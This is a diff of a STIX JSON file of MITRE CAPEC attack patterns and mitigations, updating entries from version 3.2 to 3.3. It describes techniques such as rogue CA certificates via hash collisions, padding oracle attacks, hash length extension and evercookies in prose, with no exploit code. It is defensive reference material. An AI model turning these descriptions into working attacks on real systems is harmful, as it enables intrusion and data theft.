"marking-definition--17d82bb2-eeeb-4898-bda5-3ddbcd2b799d" ], + "x_capec_version": "3.3", "type": "relationship", - "id": "relationship--dfbd2aef-9f4e-43aa-819c-14c5b16d3c23", "source_ref": "course-of-action--c295b380-bcd9-4e87-88dc-341fc0ad6922", "relationship_type": "mitigates", "target_ref": "attack-pattern--a55491b8-b521-44f4-a905-a6ed82b8e7e8" }, { + "id": "attack-pattern--96c60498-fdd4-4f9f-a21f-c1a4ee84f0f3", "name": "Flash Memory Attacks", "description": "An attacker inserts malicious logic into a product or technology via flashing the on-board memory with a code-base that contains malicious logic. Various attacks exist against the integrity of flash memory, the most direct being rootkits coded into the BIOS or chipset of a device. Such attacks are very difficult to detect because the malicious code resides outside the filesystem or RAM, and in the underlying byte-code that drives the processor. Many devices, such as the recent attacks against digital picture frames, contain only a microprocessor and a small amount of solid-state memory, rendering these devices ideal for \"flash\" based malware or malicious logic. One of the pernicious characteristics of flash memory based attacks is that the malicious code can survive even a total format of the hard-drive and reinstallation of the host operating system. Virtually any device which can be integrated into a computer system is susceptible to these attacks. Additionally, any peripheral device which interfaces with the computer bus could extract or sniff confidential data, even on systems employing full-disk encryption. Trojan code placed into a video card's chipset would continue to perform its function irrespective of the host operating system, and would be invisible to all known antivirus. The threats extend to consumer products such as camcorders, digital cameras, or any consumer electronic device with an embedded microcontroller.", "created_by_ref": "identity--e50ab59c-5c4f-4d40-bf6a-d58418d89bcd", @@ -26649,19 +28340,19 @@ ], "x_capec_abstraction": "Detailed", "x_capec_status": "Draft", - "x_capec_version": "3.2", - "type": "attack-pattern", - "id": "attack-pattern--96c60498-fdd4-4f9f-a21f-c1a4ee84f0f3" + "x_capec_version": "3.3", + "type": "attack-pattern" }, { + "id": "attack-pattern--138c8405-1295-44b9-b2ed-3b4cd15c2a55", "name": "Creating a Rogue Certification Authority Certificate", - "description": "An adversary exploits a weakness in the MD5 hash algorithm (weak collision resistance) to generate a certificate signing request (CSR) that contains collision blocks in the \"to be signed\" part. The adversary specially crafts two different, but valid X.509 certificates that when hashed with the MD5 algorithm would yield the same value. The adversary then sends the CSR for one of the certificates to the Certification Authority which uses the MD5 hashing algorithm. That request is completely valid and the Certificate Authority issues an X.509 certificate to the adversary which is signed with its private key. An adversary then takes that signed blob and inserts it into another X.509 certificate that the attacker generated. Due to the MD5 collision, both certificates, though different, hash to the same value and so the signed blob works just as well in the second certificate. The net effect is that the adversary's second X.509 certificate, which the Certification Authority has never seen, is now signed and validated by that Certification Authority. To make the attack more interesting, the second certificate could be not just a regular certificate, but rather itself a signing certificate. Thus the adversary is able to start their own Certification Authority that is anchored in its root of trust in the legitimate Certification Authority that has signed the attackers' first X.509 certificate. If the original Certificate Authority was accepted by default by browsers, so will now the Certificate Authority set up by the adversary and of course any certificates that it signs. So the adversary is now able to generate any SSL certificates to impersonate any web server, and the user's browser will not issue any warning to the victim. This can be used to compromise HTTPS communications and other types of systems where PKI and X.509 certificates may be used (e.g., VPN, IPSec).", + "description": "An adversary exploits a weakness resulting from using a hashing algorithm with weak collision resistance to generate a certificate signing request (CSR) that contains collision blocks in the \"to be signed\" part. The adversary specially crafts two different, but valid X.509 certificates that when hashed with a non-collision resistant hashing algorithm would yield the same value. The adversary then sends the CSR for one of the certificates to the Certification Authority which uses the targeted hashing algorithm. That request is completely valid and the Certificate Authority issues an X.509 certificate to the adversary which is signed with its private key. An adversary then takes that signed blob and inserts it into another X.509 certificate that the attacker generated. Due to the hash collision, both certificates, though different, hash to the same value and so the signed blob works just as well in the second certificate. The net effect is that the adversary's second X.509 certificate, which the Certification Authority has never seen, is now signed and validated by that Certification Authority. To make the attack more interesting, the second certificate could be not just a regular certificate, but rather itself a signing certificate. Thus the adversary is able to start their own Certification Authority that is anchored in its root of trust in the legitimate Certification Authority that has signed the attacker's first X.509 certificate. If the original Certificate Authority was accepted by default by browsers, so will the Certificate Authority set up by the adversary and of course any certificates that it signs. So the adversary is now able to generate any SSL certificates to impersonate any web server, and the user's browser will not issue any warning to the victim. This can be used to compromise HTTPS communications and other types of systems where PKI and X.509 certificates may be used (e.g., VPN, IPSec).", "created_by_ref": "identity--e50ab59c-5c4f-4d40-bf6a-d58418d89bcd", "object_marking_refs": [ "marking-definition--17d82bb2-eeeb-4898-bda5-3ddbcd2b799d" ], "created": "2014-06-23T00:00:00.000Z", - "modified": "2018-07-31T00:00:00.000Z", + "modified": "2020-07-30T00:00:00.000Z", "external_references": [ { "source_name": "capec", @@ -26683,53 +28374,85 @@ "url": "http://cwe.mitre.org/data/definitions/290.html", "external_id": "CWE-290" }, + { + "source_name": "ATTACK", + "description": "Subvert Trust Controls:Install Root Certificate", + "url": "https://attack.mitre.org/wiki/Technique/T1553/004", + "external_id": "T1553.004" + }, { "source_name": "reference_from_CAPEC", "description": "Alexander Sotirov, Marc Stevens, Jacob Appelbaum, Arjen Lenstra, David Molnar, Dag Arne Osvik, Benne de Weger, MD5 Considered Harmful Today: Creating a Rogue CA Certificate, 2008--12---30, Phreedom.org", "url": "http://www.phreedom.org/research/rogue-ca/", "external_id": "REF-395" + }, + { + "source_name": "reference_from_CAPEC", + "description": "Alexander Sotirov, Marc Stevens, Jacob Appelbaum, Arjen Lenstra, David Molnar, Dag Arne Osvik, Benne de Weger, MD5 considered harmful today, 2009--12", + "url": "https://www.win.tue.nl/hashclash/rogue-ca/#Ref", + "external_id": "REF-587" } ], + "x_capec_likelihood_of_attack": "Medium", "x_capec_typical_severity": "Very High", "x_capec_prerequisites": [ - "Certification Authority is using the MD5 hash function to generate the certificate hash to be signed" + "Certification Authority is using a hash function with insufficient collision resistance to generate the certificate hash to be signed" ], "x_capec_skills_required": { - "High": "An attacker must be able to craft two X.509 certificates that produce the same MD5 hash", + "High": "An attacker must be able to craft two X.509 certificates that produce the same hash value", "Medium": "Knowledge needed to set up a certification authority" }, + "x_capec_resources_required": [ + "Knowledge of a certificate authority that uses hashing algorithms with poor collision resistance", + "A valid certificate request and a malicious certificate request with identical hash values" + ], + "x_capec_consequences": { + "Access_Control": [ + "Gain Privileges" + ], + "Authentication": [ + "Gain Privileges" + ] + }, "x_capec_abstraction": "Detailed", + "x_capec_example_instances": [ + "\n MD5 Collisions\n The MD5 algorithm is not collision resistant, allowing attackers to use spoofing attacks to create rogue certificate Authorities.See also: CVE-2004-2761", + "\n SHA1 Collisions\n The SHA1 algorithm is not collision resistant, allowing attackers to use spoofing attacks to create rogue certificate Authorities.See also: CVE-2005-4900", + "\n PKI Infrastructure vulnerabilities\n Research has show significant vulnerabilities in PKI infrastructure. Trusted certificate authorities have been shown to use weak hashing algorithms after attacks have been demonstrated against those algorithms. Additionally, reliable methods have been demonstrated for generated MD5 collisions that could be used to generate malicious CSRs.\n " + ], "x_capec_status": "Draft", - "x_capec_version": "3.2", - "type": "attack-pattern", - "id": "attack-pattern--138c8405-1295-44b9-b2ed-3b4cd15c2a55" + "x_capec_version": "3.3", + "type": "attack-pattern" }, { "created_by_ref": "identity--e50ab59c-5c4f-4d40-bf6a-d58418d89bcd", "created": "2014-06-23T00:00:00.000Z", - "modified": "2018-07-31T00:00:00.000Z", + "modified": "2020-07-30T00:00:00.000Z", "name": "coa-459-0", "object_marking_refs": [ "marking-definition--17d82bb2-eeeb-4898-bda5-3ddbcd2b799d" ], - "description": "Certification Authorities need to stop using the weak collision prone MD5 hashing algorithm to hash the certificates that they are about to sign. Instead they should be using stronger hashing functions such as SHA-256 or SHA-512.", + "description": "Certification Authorities need to stop using deprecated or cryptographically insecure hashing algorithms to hash the certificates that they are about to sign. Instead they should be using stronger hashing functions such as SHA-256 or SHA-512.", + "x_capec_version": "3.3", "type": "course-of-action", - "id": "course-of-action--095d0f61-c5db-408a-802e-866f261b616c" + "id": "course-of-action--aef26c23-42e4-46ac-a6ce-61224191c8a3" }, { "created_by_ref": "identity--e50ab59c-5c4f-4d40-bf6a-d58418d89bcd", "created": "2014-06-23T00:00:00.000Z", - "modified": "2018-07-31T00:00:00.000Z", + "modified": "2020-07-30T00:00:00.000Z", "object_marking_refs": [ "marking-definition--17d82bb2-eeeb-4898-bda5-3ddbcd2b799d" ], + "x_capec_version": "3.3", "type": "relationship", - "id": "relationship--81be34f5-0a4b-4ebd-b7f1-66aebe72ccef", - "source_ref": "course-of-action--095d0f61-c5db-408a-802e-866f261b616c", + "id": "relationship--323c57c1-b086-4b0d-81cb-1cf8a0bb21d3", + "source_ref": "course-of-action--aef26c23-42e4-46ac-a6ce-61224191c8a3", "relationship_type": "mitigates", "target_ref": "attack-pattern--138c8405-1295-44b9-b2ed-3b4cd15c2a55" }, { + "id": "attack-pattern--8e403d18-af4e-4abd-bd38-0f99f74b4636", "name": "Overflow Variables and Tags", "description": "This type of attack leverages the use of tags or variables from a formatted configuration data to cause buffer overflow. The attacker crafts a malicious HTML page or configuration file that includes oversized strings, thus causing an overflow.", "created_by_ref": "identity--e50ab59c-5c4f-4d40-bf6a-d58418d89bcd", @@ -26737,7 +28460,7 @@ "marking-definition--17d82bb2-eeeb-4898-bda5-3ddbcd2b799d" ], "created": "2014-06-23T00:00:00.000Z", - "modified": "2018-07-31T00:00:00.000Z", + "modified": "2020-07-30T00:00:00.000Z", "external_references": [ { "source_name": "capec", @@ -26819,89 +28542,96 @@ "\n Attack Example: Overflow Variables and Tags in MidiPlug\n A buffer overflow vulnerability exists in the Yamaha MidiPlug that can be accessed via a Text variable found in an EMBED tag.See also: CVE-1999-0946", "\n Attack Example: Overflow Variables and Tags in Exim\n A buffer overflow in Exim allows local users to gain root privileges by providing a long :include: option in a .forward file.See also: CVE-1999-0971" ], + "x_capec_execution_flow": "

Execution Flow

Experiment

  1. The attacker modifies a tag or variable from a formatted configuration data. For instance they change it to an oversized string.

Exploit

  1. The target program consumes the data modified by the attacker without prior boundary checking. As a consequence, a buffer overflow occurs and at worst remote code execution may follow.

", "x_capec_status": "Draft", - "x_capec_version": "3.2", - "type": "attack-pattern", - "id": "attack-pattern--8e403d18-af4e-4abd-bd38-0f99f74b4636" + "x_capec_version": "3.3", + "type": "attack-pattern" }, { + "id": "relationship--0cad5809-fa6b-4947-9d83-2c2e462c3f42", "created_by_ref": "identity--e50ab59c-5c4f-4d40-bf6a-d58418d89bcd", "created": "2014-06-23T00:00:00.000Z", - "modified": "2018-07-31T00:00:00.000Z", + "modified": "2020-07-30T00:00:00.000Z", "object_marking_refs": [ "marking-definition--17d82bb2-eeeb-4898-bda5-3ddbcd2b799d" ], + "x_capec_version": "3.3", "type": "relationship", - "id": "relationship--0cad5809-fa6b-4947-9d83-2c2e462c3f42", "source_ref": "course-of-action--a253c485-f225-4dd3-b0ba-dbe4b29fa134", "relationship_type": "mitigates", "target_ref": "attack-pattern--8e403d18-af4e-4abd-bd38-0f99f74b4636" }, { + "id": "relationship--eaa7c808-388e-4b0b-a9c7-56895d4b1188", "created_by_ref": "identity--e50ab59c-5c4f-4d40-bf6a-d58418d89bcd", "created": "2014-06-23T00:00:00.000Z", - "modified": "2018-07-31T00:00:00.000Z", + "modified": "2020-07-30T00:00:00.000Z", "object_marking_refs": [ "marking-definition--17d82bb2-eeeb-4898-bda5-3ddbcd2b799d" ], + "x_capec_version": "3.3", "type": "relationship", - "id": "relationship--eaa7c808-388e-4b0b-a9c7-56895d4b1188", "source_ref": "course-of-action--286c9aaa-2118-48dc-bce6-6e3f41adc043", "relationship_type": "mitigates", "target_ref": "attack-pattern--8e403d18-af4e-4abd-bd38-0f99f74b4636" }, { + "id": "relationship--45d81297-fcc7-4abb-88f9-43cae938e07e", "created_by_ref": "identity--e50ab59c-5c4f-4d40-bf6a-d58418d89bcd", "created": "2014-06-23T00:00:00.000Z", - "modified": "2018-07-31T00:00:00.000Z", + "modified": "2020-07-30T00:00:00.000Z", "object_marking_refs": [ "marking-definition--17d82bb2-eeeb-4898-bda5-3ddbcd2b799d" ], + "x_capec_version": "3.3", "type": "relationship", - "id": "relationship--45d81297-fcc7-4abb-88f9-43cae938e07e", "source_ref": "course-of-action--115171ef-9f32-43b6-bb8a-49f0a78286e9", "relationship_type": "mitigates", "target_ref": "attack-pattern--8e403d18-af4e-4abd-bd38-0f99f74b4636" }, { + "id": "relationship--a2abe8d6-7c9a-4465-ad34-052a868dc3b0", "created_by_ref": "identity--e50ab59c-5c4f-4d40-bf6a-d58418d89bcd", "created": "2014-06-23T00:00:00.000Z", - "modified": "2018-07-31T00:00:00.000Z", + "modified": "2020-07-30T00:00:00.000Z", "object_marking_refs": [ "marking-definition--17d82bb2-eeeb-4898-bda5-3ddbcd2b799d" ], + "x_capec_version": "3.3", "type": "relationship", - "id": "relationship--a2abe8d6-7c9a-4465-ad34-052a868dc3b0", "source_ref": "course-of-action--b8955156-d3d6-4db5-bc3b-595bda29964b", "relationship_type": "mitigates", "target_ref": "attack-pattern--8e403d18-af4e-4abd-bd38-0f99f74b4636" }, { + "id": "course-of-action--4d65b6e1-548b-4925-96e0-a2948cea8f7e", "created_by_ref": "identity--e50ab59c-5c4f-4d40-bf6a-d58418d89bcd", "created": "2014-06-23T00:00:00.000Z", - "modified": "2018-07-31T00:00:00.000Z", + "modified": "2020-07-30T00:00:00.000Z", "name": "coa-46-4", "object_marking_refs": [ "marking-definition--17d82bb2-eeeb-4898-bda5-3ddbcd2b799d" ], "description": "Do not trust input data from user. Validate all user input.", - "type": "course-of-action", - "id": "course-of-action--4d65b6e1-548b-4925-96e0-a2948cea8f7e" + "x_capec_version": "3.3", + "type": "course-of-action" }, { + "id": "relationship--933f0265-0d58-4da3-be7f-f584f3b4b55b", "created_by_ref": "identity--e50ab59c-5c4f-4d40-bf6a-d58418d89bcd", "created": "2014-06-23T00:00:00.000Z", - "modified": "2018-07-31T00:00:00.000Z", + "modified": "2020-07-30T00:00:00.000Z", "object_marking_refs": [ "marking-definition--17d82bb2-eeeb-4898-bda5-3ddbcd2b799d" ], + "x_capec_version": "3.3", "type": "relationship", - "id": "relationship--933f0265-0d58-4da3-be7f-f584f3b4b55b", "source_ref": "course-of-action--4d65b6e1-548b-4925-96e0-a2948cea8f7e", "relationship_type": "mitigates", "target_ref": "attack-pattern--8e403d18-af4e-4abd-bd38-0f99f74b4636" }, { + "id": "attack-pattern--70c8a212-72da-4a98-a626-e5d38e5416e3", "name": "HTTP Parameter Pollution (HPP)", "description": "An attacker overrides or adds HTTP GET/POST parameters by injecting query string delimiters. Via HPP it may be possible to override existing hardcoded HTTP parameters, modify the application behaviors, access and, potentially exploit, uncontrollable variables, and bypass input validation checkpoints and WAF rules.", "created_by_ref": "identity--e50ab59c-5c4f-4d40-bf6a-d58418d89bcd", @@ -26947,11 +28677,11 @@ ], "x_capec_abstraction": "Detailed", "x_capec_status": "Draft", - "x_capec_version": "3.2", - "type": "attack-pattern", - "id": "attack-pattern--70c8a212-72da-4a98-a626-e5d38e5416e3" + "x_capec_version": "3.3", + "type": "attack-pattern" }, { + "id": "course-of-action--ac65940e-075f-4633-920b-a8f70115b2e0", "created_by_ref": "identity--e50ab59c-5c4f-4d40-bf6a-d58418d89bcd", "created": "2014-06-23T00:00:00.000Z", "modified": "2014-06-23T00:00:00.000Z", @@ -26960,23 +28690,25 @@ "marking-definition--17d82bb2-eeeb-4898-bda5-3ddbcd2b799d" ], "description": "\n Configuration: If using a Web Application Firewall (WAF), filters should be carefully configured to detect abnormal HTTP requests\n Design: Perform URL encoding\n Implementation: Use strict regular expressions in URL rewriting\n Implementation: Beware of multiple occurrences of a parameter in a Query String\n ", - "type": "course-of-action", - "id": "course-of-action--ac65940e-075f-4633-920b-a8f70115b2e0" + "x_capec_version": "3.3", + "type": "course-of-action" }, { + "id": "relationship--f02c5a73-a103-4e66-b32e-29d0e6610b08", "created_by_ref": "identity--e50ab59c-5c4f-4d40-bf6a-d58418d89bcd", "created": "2014-06-23T00:00:00.000Z", "modified": "2014-06-23T00:00:00.000Z", "object_marking_refs": [ "marking-definition--17d82bb2-eeeb-4898-bda5-3ddbcd2b799d" ], + "x_capec_version": "3.3", "type": "relationship", - "id": "relationship--f02c5a73-a103-4e66-b32e-29d0e6610b08", "source_ref": "course-of-action--ac65940e-075f-4633-920b-a8f70115b2e0", "relationship_type": "mitigates", "target_ref": "attack-pattern--70c8a212-72da-4a98-a626-e5d38e5416e3" }, { + "id": "attack-pattern--1bc4fd64-65a6-41d4-ac68-8e3692eabe29", "name": "Web Services API Signature Forgery Leveraging Hash Function Extension Weakness", "description": "When web services require callees to authenticate, they sometimes issue a token / secret to the caller that the caller is to use to sign their web service calls. In one such scheme the caller when constructing a request would concatenate all of the parameters passed to the web service with the provided authentication token and then generate a hash of the concatenated string (e.g., MD5, SHA1, etc.). That hash then forms the signature that is passed to the web service which is used on the server side to verify the origin authenticity and integrity of the message. There is a practical attack against an authentication scheme of this nature that makes use of the hash function extension / padding weakness. Leveraging this weakness, an attacker, who does not know the secret token, is able to modify the parameters passed to the web service by generating their own call and still generate a legitimate signature hash. For instance, consider the message to be passed to the web service is M (this message includes the parameters passed to the web service concatenated with the secret token / key bytes). The message M is hashed and that hash is passed to the web service and is used for authentication. The attacker does not know M, but can see Hash (M) and Length (M). The attacker can then compute Hash (M || Padding (M) || M') for any M'. The attacker does not know the entire message M, specifically the attacker does not know the secret bytes, but that does not matter. The attacker is still able to sign their own message M' and make the called web service verify the integrity of the message without an error. Because of the iterative design of the hash function, it is possible, from only the hash of a message and its length, to compute the hash of longer messages that start with the initial message and include the padding required for the initial message to reach a multiple of 512 bits. It is important to note that the attack not limited to MD5 and will work just as well with another hash function like SHA1.", "created_by_ref": "identity--e50ab59c-5c4f-4d40-bf6a-d58418d89bcd", @@ -27025,11 +28757,11 @@ ], "x_capec_abstraction": "Standard", "x_capec_status": "Draft", - "x_capec_version": "3.2", - "type": "attack-pattern", - "id": "attack-pattern--1bc4fd64-65a6-41d4-ac68-8e3692eabe29" + "x_capec_version": "3.3", + "type": "attack-pattern" }, { + "id": "course-of-action--4f8988fb-2aec-4c9c-bd03-a3c8ca7fed94", "created_by_ref": "identity--e50ab59c-5c4f-4d40-bf6a-d58418d89bcd", "created": "2014-06-23T00:00:00.000Z", "modified": "2018-07-31T00:00:00.000Z", @@ -27038,23 +28770,25 @@ "marking-definition--17d82bb2-eeeb-4898-bda5-3ddbcd2b799d" ], "description": "Design: Use a secure message authentication code (MAC) function such as an HMAC-SHA1", - "type": "course-of-action", - "id": "course-of-action--4f8988fb-2aec-4c9c-bd03-a3c8ca7fed94" + "x_capec_version": "3.3", + "type": "course-of-action" }, { + "id": "relationship--73e90459-19d2-486f-ab40-7a72b5bc43fa", "created_by_ref": "identity--e50ab59c-5c4f-4d40-bf6a-d58418d89bcd", "created": "2014-06-23T00:00:00.000Z", "modified": "2018-07-31T00:00:00.000Z", "object_marking_refs": [ "marking-definition--17d82bb2-eeeb-4898-bda5-3ddbcd2b799d" ], + "x_capec_version": "3.3", "type": "relationship", - "id": "relationship--73e90459-19d2-486f-ab40-7a72b5bc43fa", "source_ref": "course-of-action--4f8988fb-2aec-4c9c-bd03-a3c8ca7fed94", "relationship_type": "mitigates", "target_ref": "attack-pattern--1bc4fd64-65a6-41d4-ac68-8e3692eabe29" }, { + "id": "attack-pattern--5871f734-1898-4509-860c-f418cdf6b2ac", "name": "Cross-Domain Search Timing", "description": "An attacker initiates cross domain HTTP / GET requests and times the server responses. The timing of these responses may leak important information on what is happening on the server. Browser's same origin policy prevents the attacker from directly reading the server responses (in the absence of any other weaknesses), but does not prevent the attacker from timing the responses to requests that the attacker issued cross domain. For GET requests an attacker could for instance leverage the \"img\" tag in conjunction with \"onload() / onerror()\" javascript events. For the POST requests, an attacker could leverage the \"iframe\" element and leverage the \"onload()\" event. There is nothing in the current browser security model that prevents an attacker to use these methods to time responses to the attackers' cross domain requests. The timing for these responses leaks information. For instance, if a victim has an active session with their online e-mail account, an attacker could issue search requests in the victim's mailbox. While the attacker is not able to view the responses, based on the timings of the responses, the attacker could ask yes / no questions as to the content of victim's e-mails, who the victim e-mailed, when, etc. This is but one example; There are other scenarios where an attacker could infer potentially sensitive information from cross domain requests by timing the responses while asking the right questions that leak information.", "created_by_ref": "identity--e50ab59c-5c4f-4d40-bf6a-d58418d89bcd", @@ -27062,7 +28796,7 @@ "marking-definition--17d82bb2-eeeb-4898-bda5-3ddbcd2b799d" ], "created": "2014-06-23T00:00:00.000Z", - "modified": "2017-01-09T00:00:00.000Z", + "modified": "2020-07-30T00:00:00.000Z", "external_references": [ { "source_name": "capec", @@ -27101,38 +28835,45 @@ "x_capec_resources_required": [ "Ability to issue GET / POST requests cross domain" ], + "x_capec_consequences": { + "Confidentiality": [ + "Read Data" + ] + }, "x_capec_abstraction": "Detailed", "x_capec_status": "Draft", - "x_capec_version": "3.2", - "type": "attack-pattern", - "id": "attack-pattern--5871f734-1898-4509-860c-f418cdf6b2ac" + "x_capec_version": "3.3", + "type": "attack-pattern" }, { + "id": "course-of-action--f1c4c74a-e338-44c5-b1f3-e1604b296c61", "created_by_ref": "identity--e50ab59c-5c4f-4d40-bf6a-d58418d89bcd", "created": "2014-06-23T00:00:00.000Z", - "modified": "2017-01-09T00:00:00.000Z", + "modified": "2020-07-30T00:00:00.000Z", "name": "coa-462-0", "object_marking_refs": [ "marking-definition--17d82bb2-eeeb-4898-bda5-3ddbcd2b799d" ], "description": "\n Design: The victim's site could protect all potentially sensitive functionality (e.g. search functions) with cross site request forgery (CSRF) protection and not perform any work on behalf of forged requests\n Design: The browser's security model could be fixed to not leak timing information for cross domain requests\n ", - "type": "course-of-action", - "id": "course-of-action--f1c4c74a-e338-44c5-b1f3-e1604b296c61" + "x_capec_version": "3.3", + "type": "course-of-action" }, { + "id": "relationship--706845ee-05ed-4033-be43-269d3e42ee7c", "created_by_ref": "identity--e50ab59c-5c4f-4d40-bf6a-d58418d89bcd", "created": "2014-06-23T00:00:00.000Z", - "modified": "2017-01-09T00:00:00.000Z", + "modified": "2020-07-30T00:00:00.000Z", "object_marking_refs": [ "marking-definition--17d82bb2-eeeb-4898-bda5-3ddbcd2b799d" ], + "x_capec_version": "3.3", "type": "relationship", - "id": "relationship--706845ee-05ed-4033-be43-269d3e42ee7c", "source_ref": "course-of-action--f1c4c74a-e338-44c5-b1f3-e1604b296c61", "relationship_type": "mitigates", "target_ref": "attack-pattern--5871f734-1898-4509-860c-f418cdf6b2ac" }, { + "id": "attack-pattern--63048cb5-6d42-4fa2-a0e1-eeff2ef2a34d", "name": "Padding Oracle Crypto Attack", "description": "An adversary is able to efficiently decrypt data without knowing the decryption key if a target system leaks data on whether or not a padding error happened while decrypting the ciphertext. A target system that leaks this type of information becomes the padding oracle and an adversary is able to make use of that oracle to efficiently decrypt data without knowing the decryption key by issuing on average 128*b calls to the padding oracle (where b is the number of bytes in the ciphertext block). In addition to performing decryption, an adversary is also able to produce valid ciphertexts (i.e., perform encryption) by using the padding oracle, all without knowing the encryption key. Any cryptosystem can be vulnerable to padding oracle attacks if the encrypted messages are not authenticated to ensure their validity prior to decryption, and then the information about padding error is leaked to the adversary. This attack technique may be used, for instance, to break CAPTCHA systems or decrypt/modify state information stored in client side objects (e.g., hidden fields or cookies). This attack technique is a side-channel attack on the cryptosystem that uses a data leak from an improperly implemented decryption routine to completely subvert the cryptosystem. The one bit of information that tells the adversary whether a padding error during decryption has occurred, in whatever form it comes, is sufficient for the adversary to break the cryptosystem. That bit of information can come in a form of an explicit error message about a padding error, a returned blank page, or even the server taking longer to respond (a timing attack). This attack can be launched cross domain where an adversary is able to use cross-domain information leaks to get the bits of information from the padding oracle from a target system / service with which the victim is communicating. To do so an adversary sends a request containing ciphertext to the target system. Due to the browser's same origin policy, the adversary is not able to see the response directly, but can use cross-domain information leak techniques to still get the information needed (i.e., information on whether or not a padding error has occurred). For instance, this can be done using \"img\" tag plus the onerror()/onload() events. The adversary's JavaScript can make web browsers to load an image on the target site, and know if the image is loaded or not. This is 1-bit information needed for the padding oracle attack to work: if the image is loaded, then it is valid padding, otherwise it is not.", "created_by_ref": "identity--e50ab59c-5c4f-4d40-bf6a-d58418d89bcd", @@ -27140,7 +28881,7 @@ "marking-definition--17d82bb2-eeeb-4898-bda5-3ddbcd2b799d" ], "created": "2014-06-23T00:00:00.000Z", - "modified": "2018-07-31T00:00:00.000Z", + "modified": "2020-07-30T00:00:00.000Z", "external_references": [ { "source_name": "capec", @@ -27195,36 +28936,38 @@ ], "x_capec_abstraction": "Detailed", "x_capec_status": "Draft", - "x_capec_version": "3.2", - "type": "attack-pattern", - "id": "attack-pattern--63048cb5-6d42-4fa2-a0e1-eeff2ef2a34d" + "x_capec_version": "3.3", + "type": "attack-pattern" }, { + "id": "course-of-action--67f3e9ed-0958-44e7-bcf6-bae0b70e9a29", "created_by_ref": "identity--e50ab59c-5c4f-4d40-bf6a-d58418d89bcd", "created": "2014-06-23T00:00:00.000Z", - "modified": "2018-07-31T00:00:00.000Z", + "modified": "2020-07-30T00:00:00.000Z", "name": "coa-463-0", "object_marking_refs": [ "marking-definition--17d82bb2-eeeb-4898-bda5-3ddbcd2b799d" ], "description": "\n Design: Use a message authentication code (MAC) or another mechanism to perform verification of message authenticity / integrity prior to decryption\n Implementation: Do not leak information back to the user as to any cryptography (e.g., padding) encountered during decryption.\n ", - "type": "course-of-action", - "id": "course-of-action--67f3e9ed-0958-44e7-bcf6-bae0b70e9a29" + "x_capec_version": "3.3", + "type": "course-of-action" }, { + "id": "relationship--6558053c-e735-4def-a3d4-9f6f8a1ce115", "created_by_ref": "identity--e50ab59c-5c4f-4d40-bf6a-d58418d89bcd", "created": "2014-06-23T00:00:00.000Z", - "modified": "2018-07-31T00:00:00.000Z", + "modified": "2020-07-30T00:00:00.000Z", "object_marking_refs": [ "marking-definition--17d82bb2-eeeb-4898-bda5-3ddbcd2b799d" ], + "x_capec_version": "3.3", "type": "relationship", - "id": "relationship--6558053c-e735-4def-a3d4-9f6f8a1ce115", "source_ref": "course-of-action--67f3e9ed-0958-44e7-bcf6-bae0b70e9a29", "relationship_type": "mitigates", "target_ref": "attack-pattern--63048cb5-6d42-4fa2-a0e1-eeff2ef2a34d" }, { + "id": "attack-pattern--ed57f38c-2f0c-47ad-a6e2-16932fde978f", "name": "Evercookie", "description": "An attacker creates a very persistent cookie that stays present even after the user thinks it has been removed. The cookie is stored on the victim's machine in over ten places to include: Standard HTTP Cookies, Local Shared Objects (Flash Cookies), Silverlight Isolated Storage, Storing cookies in RGB values of auto-generated, force-cached, PNGs using HTML5 Canvas tag to read pixels (cookies) back out, Storing cookies in Web History, Storing cookies in HTTP ETags, Storing cookies in Web cache, window.name caching, Internet Explorer userData storage, HTML5 Session Storage, HTML5 Local Storage, HTML5 Global Storage, HTML5 Database Storage via SQLite, among others. When the victim clears the cookie cache via traditional means inside the browser, that operation removes the cookie from certain places but not others. The malicious code then replicates the cookie from all of the places where it was not deleted to all of the possible storage locations once again. So the victim again has the cookie in all of the original storage locations. In other words, failure to delete the cookie in even one location will result in the cookie's resurrection everywhere. The evercookie will also persist across different browsers because certain stores (e.g., Local Shared Objects) are shared between different browsers.", "created_by_ref": "identity--e50ab59c-5c4f-4d40-bf6a-d58418d89bcd", @@ -27260,11 +29003,11 @@ ], "x_capec_abstraction": "Standard", "x_capec_status": "Draft", - "x_capec_version": "3.2", - "type": "attack-pattern", - "id": "attack-pattern--ed57f38c-2f0c-47ad-a6e2-16932fde978f" + "x_capec_version": "3.3", + "type": "attack-pattern" }, { + "id": "course-of-action--9ec3bc1e-4a4c-4f11-8f69-7c3fd8c51e9f", "created_by_ref": "identity--e50ab59c-5c4f-4d40-bf6a-d58418d89bcd", "created": "2014-06-23T00:00:00.000Z", "modified": "2015-12-07T00:00:00.000Z", @@ -27273,23 +29016,25 @@ "marking-definition--17d82bb2-eeeb-4898-bda5-3ddbcd2b799d" ], "description": "\n Design: Browser's design needs to be changed to limit where cookies can be stored on the client side and provide an option to clear these cookies in all places, as well as another option to stop these cookies from being written in the first place.\n Design: Safari browser's private browsing mode is currently effective against evercookies.\n ", - "type": "course-of-action", - "id": "course-of-action--9ec3bc1e-4a4c-4f11-8f69-7c3fd8c51e9f" + "x_capec_version": "3.3", + "type": "course-of-action" }, { + "id": "relationship--5a12e1fe-89b7-4122-9e45-30c464df83eb", "created_by_ref": "identity--e50ab59c-5c4f-4d40-bf6a-d58418d89bcd", "created": "2014-06-23T00:00:00.000Z", "modified": "2015-12-07T00:00:00.000Z", "object_marking_refs": [ "marking-definition--17d82bb2-eeeb-4898-bda5-3ddbcd2b799d" ], + "x_capec_version": "3.3", "type": "relationship", - "id": "relationship--5a12e1fe-89b7-4122-9e45-30c464df83eb", "source_ref": "course-of-action--9ec3bc1e-4a4c-4f11-8f69-7c3fd8c51e9f", "relationship_type": "mitigates", "target_ref": "attack-pattern--ed57f38c-2f0c-47ad-a6e2-16932fde978f" }, { + "id": "attack-pattern--2b6e94c6-26d0-489c-989c-9f4307348c42", "name": "Transparent Proxy Abuse", "description": "A transparent proxy serves as an intermediate between the client and the internet at large. It intercepts all requests originating from the client and forwards them to the correct location. The proxy also intercepts all responses to the client and forwards these to the client. All of this is done in a manner transparent to the client. Transparent proxies are often used by enterprises and ISPs. For requests originating at the client transparent proxies need to figure out the final destination of the client's data packet. Two ways are available to do that: either by looking at the layer three (network) IP address or by examining layer seven (application) HTTP header destination. A browser has same origin policy that typically prevents scripts coming from one domain initiating requests to other websites from which they did not come. To circumvent that, however, malicious Flash or an Applet that is executing in the user's browser can attempt to create a cross-domain socket connection from the client to the remote domain. The transparent proxy will examine the HTTP header of the request and direct it to the remote site thereby partially bypassing the browser's same origin policy. This can happen if the transparent proxy uses the HTTP host header information for addressing rather than the IP address information at the network layer. This attack allows malicious scripts inside the victim's browser to issue cross-domain requests to any hosts accessible to the transparent 